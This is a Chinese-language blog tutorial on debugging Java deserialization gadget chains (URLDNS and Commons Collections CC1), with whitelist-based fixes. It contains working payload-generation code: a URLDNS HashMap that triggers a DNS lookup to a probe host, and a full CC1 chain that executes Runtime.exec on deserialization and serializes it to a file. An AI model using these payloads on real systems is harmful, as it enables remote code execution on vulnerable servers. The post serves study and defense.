博客 / 詳情

返回

Java反序列化鏈調試—初探(URLDNS、CC):一

本文首發於:https://lrui1.top/posts/7929b704/

目前而言,想拿權限,大部分都依賴命令注入或者反序列化漏洞的利用,下文是作者調試Java反序列化常見利用鏈的隨手記錄,個人理解調試Java反序列化鏈可以自上而下的理解漏洞的利用過程。

環境清單

  • JDK 1.8.0_65
  • Apache commons collections 3.2.1
  • IDEA 2025.2.3

序列化&反序列化

定義一個User實體

package top.lrui1.pojo;  
  
  
import java.io.Serializable;  
  
public class User implements Serializable {  
    private static final long serialVersionUID = 1L;  
  
    private Long id;  
    private String username;  
    private String password;  
    private String description;  
  
    public User() {  
        System.out.println("調用無參構造");  
    }  
  
    public User(Long id, String username, String password, String description) {  
        this.id = id;  
        this.username = username;  
        this.password = password;  
        this.description = description;  
        System.out.println("調用有參構造");  
    }  
  
    public String getUsername() {  
        System.out.println("調用get");  
        return username;  
    }  
  
    public void setUsername(String username) {  
        System.out.println("調用set");  
        this.username = username;  
    }  
  
    public Long getId() {  
        return id;  
    }  
  
    public void setId(Long id) {  
        this.id = id;  
    }  
  
    public String getPassword() {  
        return password;  
    }  
  
    public void setPassword(String password) {  
        this.password = password;  
    }  
  
    public String getDescription() {  
        return description;  
    }  
  
    public void setDescription(String description) {  
        this.description = description;  
    }  
  
    @Override  
    public String toString() {  
        return "User{" +  
                "id=" + id +  
                ", username='" + username + '\'' +  
                ", password='" + password + '\'' +  
                ", description='" + description + '\'' +  
                '}';  
    }  
}

序列化與反序列化

package top.lrui1;

import org.junit.Test;
import top.lrui1.pojo.User;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class FirstCode {

    @Test
    public void ser() throws IOException {
        User user = new User();
        user.setId(1L);
        user.setUsername("test");
        user.setPassword("test");
        user.setDescription("This is test");
        String outfile = "firstCode.bin";
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(outfile)));
        oos.writeObject(user);
        oos.close();
        System.out.println("ser success!");
    }

    @Test
    public void unser() throws IOException, ClassNotFoundException {
        String outfile = "firstCode.bin";
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));
        Object o = ois.readObject();
        ois.close();
        User user = (User) o;
        System.out.println(user);
    }
}

image.png

個人理解:序列化就是將Java對象變成一個二進制序列,方便存儲,傳輸;反序列化就是將二進制序列還原成Java對象(利用反射填屬性值),隨後讓程序執行其他相關邏輯

反序列化漏洞

漏洞代碼

對於以下代碼

@Test
public void unser() throws IOException, ClassNotFoundException {
	String outfile = "firstCode.bin";
	ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));
	Object o = ois.readObject();
	ois.close();
	User user = (User) o;
	System.out.println(user);
}

如果ObjectInputStream所打開的數據流是不可信的(文件流或其他流可被用户控制),就存在反序列化漏洞。

原因分析

可以參考 https://su18.org/post/ysoserial-su18-1/#三-反序列化漏洞

總結一句話:反序列化過程中,如果目標類重寫了readObject方法,則會調用相應的重寫邏輯;通過控制相關邏輯可以用來利用反序列化漏洞

修復方案

修復代碼如下

方法一:使用 JDK 9+ 的 JEP 290 (ObjectInputFilter)

JDK 9 或更高版本(或者在 JDK 8 的高版本更新中)

@Test  
public void safeUnSer() throws Exception {  
    String outFile="urldns.bin";  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outFile)));  
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(  
            "top.lrui1.pojo.User;java.lang.*;!*"  
    );  
    ois.setObjectInputFilter(filter);  
    Object o = ois.readObject();  
    if (o instanceof User) {  
        User user = (User) o;  
        System.out.println(user);  
    }  
}

在使用白名單時,不僅要放行 User 類本身,還需要放行 User 類中所有成員變量的類型(例如 User 裏有個 String name,你就必須允許 java.lang.String)。如果漏掉了成員變量的類型,反序列化會報錯失敗。

方法二:自定義ObjectInputStream、重寫resolveClass、白名單校驗

/**  
 * 自定義ObjectInputStream,覆寫resolveClass,加白名單  
 * @throws Exception  
 */@Test  
public void safeUnSer2() throws Exception {  
    class SecureObjectInputStream extends ObjectInputStream {  
        // 定義白名單:包含 User 類本身以及 User 類中字段可能用到的類(如 String, ArrayList 等)  
        // 不能使用通配符  
        private final Set<String> WHITELIST = new HashSet<>(Arrays.asList(  
                "top.lrui1.pojo.User",  
                "java.lang.String",  
                "java.lang.Integer",  
                "java.lang.Long",  
                "java.lang.Number"  
                // 注意:如果 User 類包含其他引用類型,必須全部加進來  
        ));  
  
        public SecureObjectInputStream(InputStream in) throws IOException {  
            super(in);  
        }  
  
        @Override  
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
            // 在類被實例化之前進行檢查  
            if (!WHITELIST.contains(desc.getName())) {  
                throw new InvalidClassException("不在白名單,Unauthorized deserialization attempt", desc.getName());  
            }  
            return super.resolveClass(desc); // 檢查通過,調用父類方法正常解析  
        }  
    }  
  
    String outFile="firstCode.bin";  
    ObjectInputStream ois = new SecureObjectInputStream(Files.newInputStream(Paths.get(outFile)));  
    Object o = ois.readObject();  
    if (o instanceof User) {  
        User user = (User) o;  
        System.out.println(user);  
    }  
}

方法三:使用Apache Commons IO

@Test  
public void safeUnSer3() throws Exception {  
    String outfile = "urldns.bin";  
    InputStream in = Files.newInputStream(Paths.get(outfile));  
    ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()  
            .accept(User.class, Number.class, Long.class) // String.class is automatically accepted  
            .setInputStream(in)  
            .get();  
    User user = (User) vois.readObject();  
    vois.close();  
    System.out.println(user);  
}

將配置單獨定義

@Test  
public void safeUnSer3OtherCode() throws Exception {  
    final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()  
            .accept(User.class, Number.class, Long.class);  
  
    String outfile = "urldns.bin";  
    InputStream in = Files.newInputStream(Paths.get(outfile));  
    ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()  
            .setPredicate(predicate)  
            .setInputStream(in)  
            .get();  
    User user = (User) vois.readObject();  
    vois.close();  
    System.out.println(user);  
}

通過阻止非預期的類進行反序列化,能解決大多數場景下的漏洞問題;但是白名單中的類本身存在一條可利用的反序列化鏈,那麼漏洞還是存在

舉個栗子,白名單中存在HashMap和URL

final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()
                .accept(User.class, Number.class, Long.class,HashMap.class, URL.class,Integer.class);

攻擊者可以利用URLDNS這個鏈來進行探測

在添加白名單的時候,要保證常見的利用鏈不包含在白名單中

總結

對於Java原生反序列化,漏洞產生的原因:用户直接反序列化不可信數據(未對數據作任何校驗)

利用條件:

1、存在反序列化漏洞

2、有反序列化鏈可以被利用

下文探究一些Java常見的反序列化鏈,來學習漏洞的利用過程

URLDNS

自底向上理解

對於URL這個類,其equals和hashcode都存在解析主機名的行為,下面基於hashcode的調用進行分析

觸發DNS解析(Sink Gadget)

URL.hashCode 代碼如下

image.png

當hashCode不為-1,直接返回;否則調用URLStreamHandler.hashCode方法獲取值並返回

URLStreamHandler.hashCode關鍵代碼如下

image.png

對傳入的URL對象,先獲取協議,h += 協議的hashcode;隨後在353行調用getHostAddress解析主機名

URLStreamHandler.getHostAddress代碼如下

image.png

InetAddress.getByName,獲取主機名的IP地址

總結:只要URL對象的hashcode方法被調用,就會解析對象中存儲的host地址

目前的調用鏈

URL.hashCode()
	URLStreamHandler.hashCode()
		URLStreamHandler.getHostAddress()

調用覆寫的readObject(kick-off gadget)

HashMap.readObject關鍵代碼如下

image.png

1361~1400,前面的代碼對獲取map的一些就基本信息後,1394獲取key後,1397存入map時調用hash()獲取key的Hash值

HashMap.hash代碼如下

image.png

對傳入的key為空,返回0;不為空調用Key的hashCode方法

所以對於HashMap,只要Key的類為java.net.URL,那麼在反序列化的過程中就會調用java.net.URL.hashCode,觸發過程3

總結:目前的調用鏈

HashMap.readObject()
	HashMap.hash()
		URL.hashCode()
			URLStreamHandler.hashCode()
				URLStreamHandler.getHostAddress()

反序列化漏洞(readObject調用處)

top.lrui1.Unser.main代碼如下

image.png

從命令行獲取文件名,無白名單控制下,反序列化不可信數據

構造payload

構造一個Key為URL的HashMap,序列化出來即可

HashMap的put方法會調用putVal,其中putVal的第一個參數用了hash()方法對Key獲取Hash值
在構造時可以先設置URL對象的hashcode值不為-1,存入map後在設置為-1,等待觸發解析

@Test  
public void sec() throws Exception {  
    HashMap<URL, Integer> map = new HashMap<>();  
    URL url = new URL("http://0j02oed5.eyes.sh");  
    // 反射獲取HashCode,先修改值不為-1,規避DNS解析  
    Field f = URL.class.getDeclaredField("hashCode");  
    f.setAccessible(true);  
    f.set(url, 1);  
  
    // 放入map  
    map.put(url, 1);  
  
    // 修改hashCode為-1,等待反序列化正常觸發DNS解析  
    f.set(url, -1);  
  
    // 序列化  
    ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin")));  
    oos.writeObject(map);  
}

ysoserial的視線代碼

public Object getObject(final String url) throws Exception {  
  
        //Avoid DNS resolution during payload creation  
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.        URLStreamHandler handler = new SilentURLStreamHandler();  
  
        HashMap ht = new HashMap(); // HashMap that will contain the URL  
        URL u = new URL(null, url, handler); // URL to use as the Key  
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.  
  
        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.  
  
        return ht;  
}  
  
public static void main(final String[] args) throws Exception {  
        PayloadRunner.run(URLDNS.class, args);  
}  
  
/**  
 * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.  
 * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p>  
 *  
 * <b>Potential false negative:</b>  
 * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the  
 * second resolution.</p>  
 */  
static class SilentURLStreamHandler extends URLStreamHandler {  
  
        protected URLConnection openConnection(URL u) throws IOException {  
                return null;  
        }  
  
        protected synchronized InetAddress getHostAddress(URL u) {  
                return null;  
        }  
}

通過自定義一個URLStreamHandler的子類,重寫getHostAddress方法,在使用hashmap.put方法存入值,HashMap.hash -> ···· -> SilentURLStreamHandler.getHostAddress,不觸發解析,隨後將URL.hashcode設置為-1,讓反序列化時觸發解析

總結

URLDNS鏈無JDK版本限制,可以方便的用來探測程序反序列化時是否有配置白名單

運行測試代碼的調用堆棧如下

java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:436) // 觸發DNS解析
java.net.URLStreamHandler.hashCode(URLStreamHandler.java:353) 
java.net.URL.hashCode(URL.java:878)
java.util.HashMap.hash(HashMap.java:338)
java.util.HashMap.readObject(HashMap.java:1397) // 調用覆寫的readObject
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20) // 調用ois.readObject

CC1

Apache Common Collections這個庫存在可利用的反序列化鏈,相關類的瞭解學習可參考

https://su18.org/post/ysoserial-su18-2/#前置知識

相關類學習

InvokerTransformer

transform代碼如下

public Object transform(Object input) {  
    if (input == null) {  
        return null;  
    }  
    try {  
        Class cls = input.getClass();  
        Method method = cls.getMethod(iMethodName, iParamTypes);  
        return method.invoke(input, iArgs);  
              
    } catch (NoSuchMethodException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");  
    } catch (IllegalAccessException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
    } catch (InvocationTargetException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);  
    }  
}

根據傳入的input,獲取其Class,調用方法;構造函數中可以設置iMethodName、iParamTypes

測試代碼如下

@Test  
public void InvokeTransformerTest(){  
    InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    itf.transform(Runtime.getRuntime());  
}

ChainedTransformer

transform代碼如下

public Object transform(Object object) {  
    for (int i = 0; i < iTransformers.length; i++) {  
        object = iTransformers[i].transform(object);  
    }  
    return object;  
}

根據屬性中的transform,循環調用;並將這次transform的返回值作為下一個transform的輸入

測試代碼如下

@Test  
public void ChainedTransformerTest(){  
    InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{itf});  
    chtf.transform(Runtime.getRuntime());  
}

ConstantTransformer

transform代碼如下

public Object transform(Object input) {  
    return iConstant;  
}

直接返回屬性中的iConstant,其值可以通過構造函數設置

測試代碼如下

@Test  
public void ConstantTransformerTest(){  
    ConstantTransformer ctf = new ConstantTransformer(Runtime.getRuntime());  
    InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
    ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{ctf,itf});  
    chtf.transform("隨便輸入");  
}

其實這個才是ChainedTransformer的測試代碼吧

攻擊鏈構造

ChainedTransformer

根據以上測試代碼,我們可以構造一個Transformer鏈,測試代碼如下

@Test  
public void testTransform() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射獲取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,獲取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 執行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
    chainedTransformer.transform("隨便輸入");  
}

調用鏈如下

ChainedTransformer.transform()
	ConstantTransformer.transform()
	InvokerTransformer.transform()
	InvokerTransformer.transform()
	InvokerTransformer.transform() // sink Gadget

ChainedTransformer、ConstantTransformer、InvokerTransformer都實現了Serializable接口,他們可以被序列化

TransformedMap

ChainedTransformer的readObject方法並沒有調用其自身的transform方法,還要往上繼續找鏈,在IDEA中,右鍵Transformer.transform方法,選擇Find Usage,查找其他類調用Transformer.transform的情況

image.png

找到一個類:TransformedMap,有三個調用,分析其中一個調用,transformKey方法調用了自身屬性keyTransformer.transform方法;對TransformedMap.transformKey右鍵Find Usage,發現兩處調用,TransformedMap.transformMap、TransformedMap.put

作者這邊分析的這個調用並不是CC1中的一個環節,可直接跳到後面分析setValue調用,那個才是CC1中的一個傳遞鏈

image.png

TransformedMap繼承於AbstractInputCheckedMapDecorator這個抽象類,AbstractInputCheckedMapDecorator又繼承於AbstractMapDecorator,AbstractMapDecorator這個類實現了Map接口,所以TransformedMap.put這個方法可由Map.put進行調用,比較泛用,先從它入手

目前調用鏈的頂層是TransformedMap,可通過put方法觸發我們構造的攻擊鏈,測試代碼如下

鴿一下關於TransformedMap的構造函數分析,我們要序列化類就要分析它要怎麼創建,可以讓AI幹

@Test  
public void testTransform2() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射獲取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,獲取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 執行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> hashmap = new HashMap<String, String>();  
    hashmap.put("test","test");  
    hashmap.put("test2","test");  
    Map map = TransformedMap.decorate(hashmap, chainedTransformer, null);  
    map.put("test","test123");  
}

TransformedMap.readObject主要是通過父類的readObject進行反序列化,具體代碼如下

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
    in.defaultReadObject();  
    map = (Map) in.readObject();  
}

沒有調用自身的put方法,也就沒有調用transform,需要找其他類能觸發TransformedMap.put方法的類,還要往上繼續找鏈

根據之前對Transformer.transform,Find Usage的分析,除了transformKey、還有其他兩個調用transformValue、checkSetValue;參考上述分析,可以總結出下方的利用鏈(CC1實際是利用到了setValue())

TransformedMap.put() or TransformedMap.putAll() or TransformedMap.setValue()
	ChainedTransformer.transform()
		ConstantTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform()
		InvokerTransformer.transform() // sink Gadget

實際是作者嘗試往put找鏈失敗了hh,補充一下setValue的找鏈過程吧

TransformedMap.checkSetValue()

之前對Transformer.transform方法的Find Usage,發現TransformedMap.checkSetValue這個調用點,代碼如下

protected Object checkSetValue(Object value) {  
    return valueTransformer.transform(value);  
}

繼續對TransformedMap.setValue做Find Usage

image.png

有且只有一個調用點:AbstractInputCheckedMapDecorator.MapEntry.setValue,這個方法覆寫了AbstractInputCheckedMapDecorator的父類AbstractMapEntryDecorator的setValue;因為AbstractMapEntryDecorator實現了Map接口,所以這個setValue也作為了Map接口裏的實現方法

setValue方法描述java.util.Map.Entry#setValue

測試代碼如下

@Test  
public void testTransform3() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射獲取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,獲取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 執行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> hashmap = new HashMap<String, String>();  
    hashmap.put("test","test");  
    hashmap.put("test2","test");  
    Map map = TransformedMap.decorate(hashmap, null, chainedTransformer);  
    Set<Map.Entry<String, String>> set = map.entrySet();  
    for (Map.Entry<String, String> entry : set) {  
        Map.Entry<String, String> tmp;  
        entry.setValue("test123");  
    }  
    System.out.println(map);  
  
}

調用鏈如下

AbstractInputCheckedMapDecorator$MapEntry.setValue()
	TransformedMap.checkSetValue()
		ChainedTransformer.transform()
			ConstantTransformer.transform()
			InvokerTransformer.transform()
			InvokerTransformer.transform()
			InvokerTransformer.transform() // sink Gadget

AnnotationInvocationHandler

老樣子,對setValue在IDEA中Find Usage,

image.png

readObject調用setValue,Holishift,找到入口類了

如果沒查到,可以去Github下載一下源碼(Oracle自帶的有一些類沒有),並在SDK哪裏配置源碼路徑,下載地址 https://github.com/openjdk/jdk ,選擇對應的tag直接下載zip即可,導入直接導zip就行,IDEA會自己掃

接下來就是分析這個類對象的創建和反序列化過程了,看什麼條件下會觸發這個setValue

類屬性如下

private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;  
private final Map<String, Object> memberValues;  
private transient volatile Method[] memberMethods = null;

猜測memberValues要存儲我們前面的TransformedMap

readObject方法如下

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {  
    var1.defaultReadObject();  
    Object var2 = null;  
  
    try {  
        var10 = AnnotationType.getInstance(this.type);  
    } catch (IllegalArgumentException var9) {  
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
  
    Map var3 = var10.memberTypes();  
  
    for(Map.Entry var5 : this.memberValues.entrySet()) {  
        String var6 = (String)var5.getKey();  
        Class var7 = (Class)var3.get(var6);  
        if (var7 != null) {  
            Object var8 = var5.getValue();  
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {  
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));  
            }  
        }  
    }

上面那個是反編譯的,這個是Github OpenJDK 源碼的代碼

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    s.defaultReadObject();  
  
  
    // Check to make sure that types have not evolved incompatibly  
  
    AnnotationType annotationType = null;  
    try {  
        annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
        // Class is no longer an annotation type; all bets are off  
        return;  
    }  
  
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
        String name = memberValue.getKey();  
        Class<?> memberType = memberTypes.get(name);  
        if (memberType != null) {  // i.e. member still exists  
            Object value = memberValue.getValue();  
            if (!(memberType.isInstance(value) ||  
                  value instanceof ExceptionProxy)) {  
                memberValue.setValue(  
                    new AnnotationTypeMismatchExceptionProxy(  
                        value.getClass() + "[" + value + "]").setMember(  
                            annotationType.members().get(name)));  
            }  
        }  
    }  
}

這裏推薦參考這篇文章的思考思路,畢竟這個代碼可讀性對我這種小白而言可讀性很糟糕,所以靜態結合動態分析邏輯是個很好的方法 https://www.freebuf.com/articles/web/410767.html

簡單分析其邏輯

1、s.defaultReadObject(); 利用反射從流中獲取值寫入屬性

2、利用type的值,獲取AnnotationType對象,即我們反序列化的type(註解的詳細信息)

3、獲取我們傳入註解的成員信息,存到memberTypes

4、進入循環,遍歷我們反序列化傳入的memberValues(一個Map);

循環邏輯:獲取memberValues的key,用這個key去存到memberTypes裏查找值,賦值給memberType,如果該值存在,執行 IF 邏輯1

if邏輯1:獲取memberValues的Value賦值給value,如果memberTypevalue之間不可賦值 或者 value是ExceptionProxy的示例,執行memberValue.setValue,觸發攻擊鏈

isInstance()方法等效於 instance of運算符

所以我們要執行memberValue.setValue並觸發攻擊鏈,有以下條件

  1. 反序列化傳入的memberValues為前面的 TransformedMap
  2. 反序列化傳入的type 需要有屬性——傳入的接口需要有屬性
  3. type屬性字段名需要有一個在TransformedMap的Key中
  4. 條件3 TransformedMap Key對應的value不能賦值給type屬性字段

假設傳入的type為Target,其有一個屬性ElementType[] value();,我們可以定義TransformedMap<String, String>,並put一個"value":"隨便輸入"即可(String和ElementType[]一個數組,一個普通類型,不能賦值)

接下來就是構造AnnotationInvocationHandler這個對象,其構造方法如下

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {  
    this.type = type;  
    this.memberValues = memberValues;  
}

直接進行賦值,由於是默認權限,包級私有,需要利用反射,在進行調用

構造的測試代碼如下

@Test  
public void testCC1() throws Exception {  
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            // 反射獲取getRuntime方法  
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
            // invoke,獲取其返回值  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
            // 執行exec方法  
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
  
    });  
  
    HashMap<String, String> map = new HashMap<String, String>();  
    map.put("value","test");  
    map.put("test2","test2");  
    Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);  
  
    Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    Object payload = constructor.newInstance(Target.class, transformedMap);  
    ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));  
    ous.writeObject(payload);  
    System.out.println("ser successfully!");  
}  
  
public static void main(String[] args) throws Exception {  
    Scanner sc = new Scanner(System.in);  
    String s = sc.nextLine();  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));  
    Object o = ois.readObject();  
    ois.close();  
    System.out.println("unser successfully");  
    User user = (User) o;  
    System.out.println(user);  
    sc.close();  
}

image.png

總結

調用鏈如下

AnnotationInvocationHandler.readObject() // kick-off gadget
	AbstractInputCheckedMapDecorator$MapEntry.setValue()
		TransformedMap.checkSetValue()
			ChainedTransformer.transform() // 中間都是 chain gadget
				ConstantTransformer.transform() 
				InvokerTransformer.transform()
				InvokerTransformer.transform()
				InvokerTransformer.transform() // sink Gadget

調用堆棧如下

org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204)
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:192)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

寫在最後

關於CC1還有一個利用LazyMap的利用鏈,就留在下一篇文章再來調試吧(菜狗搞這篇文章已經搞了2天半,大概17h了)

參考鏈接

https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/serialization/ValidatingObjectInputStream.html

https://su18.org/post/ysuserial/

https://www.freebuf.com/articles/web/410767.html

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.